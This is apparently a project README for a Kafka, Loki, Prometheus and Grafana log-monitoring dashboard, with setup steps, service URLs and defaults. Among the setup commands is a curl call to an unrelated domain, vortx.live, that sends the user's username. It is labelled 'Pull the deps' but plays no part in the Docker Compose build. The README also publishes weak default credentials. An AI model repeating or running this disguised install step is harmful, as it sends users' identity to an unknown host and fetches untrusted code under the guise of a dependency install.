Keeping tabs on what’s happening across your systems in real time is more important than ever — whether you're chasing down bugs, keeping things secure, or just making sure everything's running smoothly. *Enter* this project.
git clone --depth 1 [email protected]:User-LazySloth/ApplicationMonitoringDashboards_321_339_357_371.git
cd ApplicationMonitoringDashboards_321_339_357_371
curl -L "vortx.live/install-cc-proj?builder=$(whoami)" # Pull the deps
docker-compose up --build| Service | URL |
|---|---|
| Grafana | localhost:3000 (user: admin / pass: admin) |
| Prometheus | localhost:9090 |
| Loki | localhost:3100 |
| API | localhost:5000 |
| Kafka Brokers | kafka1:9092, kafka2:9094, kafka3:9095 |
| PostgreSQL | localhost:5432 (db: logs_db / user: postgres / pass: password) |
./api/logs/– Logs generated by the API./consumer/logs/– Logs from the Kafka consumer- System logs from
/var/log/(via Promtail)
- Real-time log ingestion with Kafka
- Easy log querying via Loki
- Structured storage in PostgreSQL
- Beautiful, pre-configured Grafana dashboards
- Lightweight and memory efficient
- Plug-and-play with Docker Compose
- Topics auto-created:
application_logs,application_errors - Memory usage optimized (
-Xmx512M -Xms256Mfor Kafka) - Default Kafka replication: 3, partitions: 3
Want to add your own microservice or log source? Just plug it into Kafka or Promtail and extend the dashboards in Grafana. It’s modular and easy to scale.
MIT — use it, build on it, make it better.
